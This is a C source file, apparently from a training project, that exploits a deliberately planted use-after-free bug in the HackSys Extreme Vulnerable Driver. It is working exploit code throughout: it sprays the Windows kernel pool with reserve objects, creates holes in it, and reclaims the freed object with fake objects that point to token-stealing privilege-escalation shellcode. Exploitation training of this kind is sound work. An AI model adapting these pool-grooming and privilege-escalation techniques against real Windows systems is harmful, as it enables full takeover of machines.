hacksysteam-HackSysExtremeVulnerableDriver/Exploit/Source/UseAfterFree.c

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        HackSys Extreme Vulnerable Driver Exploit

Author : Ashfaq Ansari
Contact: ashfaq[at]payatu[dot]com
Website: http://www.payatu.com/

Copyright (C) 2011-2015 Payatu Technologies. All rights reserved.

This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program.  If not, see <http://www.gnu.org/licenses/>.

THIS SOFTWARE IS PROVIDED "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES,
INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHORS
OR COPYRIGHT HOLDERS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT
OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

See the file 'LICENSE' for complete copying permission.

Module Name:
    UseAfterFree.c

Abstract:
    This module implements the exploit for Use After Free 
    Vulnerability implemented in HackSys Extreme Vulnerable 
    Driver.

--*/

#include "UseAfterFree.h"

VOID SprayNonPagedPoolWithReserveObjects() {
    UINT32 i = 0;
    HMODULE hModule = NULL;
    NTSTATUS ntStatus = STATUS_UNSUCCESSFUL;

    hModule = LoadLibraryA("ntdll.dll");

    if (!hModule) {
        DEBUG_ERROR("\t\t[-] Failed To Load NtDll.dll: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    }

    NtAllocateReserveObject = (NtAllocateReserveObject_t)GetProcAddress(hModule, "NtAllocateReserveObject");

    if (!NtAllocateReserveObject) {
        DEBUG_ERROR("\t\t[-] Failed Resolving NtAllocateReserveObject: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    }

    RtlFillMemory(hReserveObjectArrayA, sizeof(hReserveObjectArrayA), 0x0);
    RtlFillMemory(hReserveObjectArrayB, sizeof(hReserveObjectArrayB), 0x0);

    for (i = 0; i < 10000; i++) {
        ntStatus = NtAllocateReserveObject(&hReserveObjectArrayA[i], 0, IO_COMPLETION_OBJECT);
        if (ntStatus != STATUS_SUCCESS) {
            DEBUG_ERROR("\t\t[-] Failed To Allocate Reserve Objects: 0x%X\n", GetLastError());
            exit(EXIT_FAILURE);
        }
    }

    for (i = 0; i < 5000; i++) {
        ntStatus = NtAllocateReserveObject(&hReserveObjectArrayB[i], 0, IO_COMPLETION_OBJECT);
        if (ntStatus != STATUS_SUCCESS) {
            DEBUG_ERROR("\t\t[-] Failed To Allocate Reserve Objects: 0x%X\n", GetLastError());
            exit(EXIT_FAILURE);
        }
    }
}

VOID CreateHolesInNonPagedPoolByClosingReserveObjects() {
    UINT32 i = 0;

    for (i = 0; i < 5000; i += 2) {
        if (!CloseHandle(hReserveObjectArrayB[i])) {
            DEBUG_ERROR("\t\t[-] Failed To Close Reserve Objects Handle: 0x%X\n", GetLastError());
            exit(EXIT_FAILURE);
        }
    }
}

VOID FreeReserveObjects() {
    UINT32 i = 0;

    for (i = 0; i < 10000; i++) {
        if (!CloseHandle(hReserveObjectArrayA[i])) {
            DEBUG_ERROR("\t\t[-] Failed To Close Reserve Objects Handle: 0x%X\n", GetLastError());
            exit(EXIT_FAILURE);
        }
    }

    for (i = 1; i < 5000; i +=2) {
        if (!CloseHandle(hReserveObjectArrayB[i])) {
            DEBUG_ERROR("\t\t[-] Failed To Close Reserve Objects Handle: 0x%X\n", GetLastError());
            exit(EXIT_FAILURE);
        }
    }
}

DWORD WINAPI UseAfterFreeThread(LPVOID lpParameter) {
    UINT32 i = 0;
    HANDLE hFile = NULL;
    DWORD lpBytesReturned;
    PFAKE_OBJECT pFakeObject = NULL;
    LPCSTR lpFileName = (LPCSTR)DEVICE_NAME;
    PVOID pEopShellcode = &TokenStealingShellcodeWin7Generic;

    __try {
        DEBUG_MESSAGE("\t[+] Setting Thread Priority\n");

        if (!SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_HIGHEST)) {
            DEBUG_ERROR("\t\t[-] Failed To Set As THREAD_PRIORITY_HIGHEST\n");
        }
        else {
            DEBUG_INFO("\t\t[+] Priority Set To THREAD_PRIORITY_HIGHEST\n");
        }

        // Get the device handle
        DEBUG_MESSAGE("\t[+] Getting Device Driver Handle\n");
        DEBUG_INFO("\t\t[+] Device Name: %s\n", lpFileName);

        hFile = GetDeviceHandle(lpFileName);

        if (hFile == INVALID_HANDLE_VALUE) {
            DEBUG_ERROR("\t\t[-] Failed Getting Device Handle: 0x%X\n", GetLastError());
            exit(EXIT_FAILURE);
        }
        else {
            DEBUG_INFO("\t\t[+] Device Handle: 0x%X\n", hFile);
        }

        DEBUG_MESSAGE("\t[+] Setting Up Vulnerability Stage\n");

        DEBUG_INFO("\t\t[+] Allocating Memory For Buffer\n");

        pFakeObject = (PFAKE_OBJECT)HeapAlloc(GetProcessHeap(),
                                              HEAP_ZERO_MEMORY,
                                              sizeof(FAKE_OBJECT));

        if (!pFakeObject) {
            DEBUG_ERROR("\t\t\t[-] Failed To Allocate Memory: 0x%X\n", GetLastError());
            exit(EXIT_FAILURE);
        }
        else {
            DEBUG_INFO("\t\t\t[+] Memory Allocated: 0x%p\n", pFakeObject);
            DEBUG_INFO("\t\t\t[+] Allocation Size: 0x%X\n", sizeof(FAKE_OBJECT));
        }

        DEBUG_INFO("\t\t[+] Preparing FAKE_OBJECT structure\n");

        RtlFillMemory((PVOID)pFakeObject, sizeof(FAKE_OBJECT), 0x41);
        pFakeObject->buffer[sizeof(pFakeObject->buffer) - 1] = '\0';
        *(PULONG)pFakeObject = (ULONG)pEopShellcode;

        DEBUG_INFO("\t\t\t[+] pFakeObject Value: 0x%p\n", *(PULONG)pFakeObject);
        DEBUG_INFO("\t\t\t[+] pFakeObject Address: 0x%p\n", pFakeObject);
        DEBUG_INFO("\t\t\t[+] FAKE_OBJECT Size: 0x%X\n", sizeof(FAKE_OBJECT));

        DEBUG_INFO("\t\t\t[+] EoP Payload: 0x%p\n", pEopShellcode);

        DEBUG_INFO("\t\t[+] Preparing NonPaged Kernel Pool Layout\n");

        DEBUG_INFO("\t\t\t[+] Spraying With Reserve Objects\n");

        SprayNonPagedPoolWithReserveObjects();

        DEBUG_INFO("\t\t\t[+] Creating Holes\n");

        CreateHolesInNonPagedPoolByClosingReserveObjects();

        DEBUG_INFO("\t\t[+] Working With Vulnerable UaF Object In NonPaged Pool\n");
        DEBUG_INFO("\t\t\t[+] Allocating UaF Object\n");

        OutputDebugString("****************Kernel Mode****************\n");

        DeviceIoControl(hFile,
                        HACKSYS_EVD_IOCTL_CREATE_UAF_OBJECT,
                        NULL,
                        0,
                        NULL,
                        0,
                        &lpBytesReturned,
                        NULL);

        OutputDebugString("****************Kernel Mode****************\n");

        DEBUG_INFO("\t\t\t[+] Freeing UaF Object\n");

        OutputDebugString("****************Kernel Mode****************\n");

        DeviceIoControl(hFile,
                        HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT,
                        NULL,
                        0,
                        NULL,
                        0,
                        &lpBytesReturned,
                        NULL);

        OutputDebugString("****************Kernel Mode****************\n");

        // Create the FAKE_OBJECT multiple times to
        // take up the freed memory chunk
        DEBUG_INFO("\t\t\t[+] Filling Freed Chunks\n");

        OutputDebugString("****************Kernel Mode****************\n");

        for (i = 0; i < 0x1000; i++) {
            DeviceIoControl(hFile,
                            HACKSYS_EVD_IOCTL_CREATE_FAKE_OBJECT,
                            (LPVOID)pFakeObject,
                            0,
                            NULL,
                            0,
                            &lpBytesReturned,
                            NULL);
        }

        OutputDebugString("****************Kernel Mode****************\n");

        DEBUG_INFO("\t\t\t[+] Freeing Reserve Objects\n");

        FreeReserveObjects();

        DEBUG_MESSAGE("\t[+] Triggering Kernel Use After Free\n");

        OutputDebugString("****************Kernel Mode****************\n");

        DeviceIoControl(hFile,
                        HACKSYS_EVD_IOCTL_USE_UAF_OBJECT,
                        NULL,
                        0,
                        NULL,
                        0,
                        &lpBytesReturned,
                        NULL);

        OutputDebugString("****************Kernel Mode****************\n");

        HeapFree(GetProcessHeap(), 0, (LPVOID)pFakeObject);
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        DEBUG_ERROR("\t\t[-] Exception: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    }

    return EXIT_SUCCESS;
}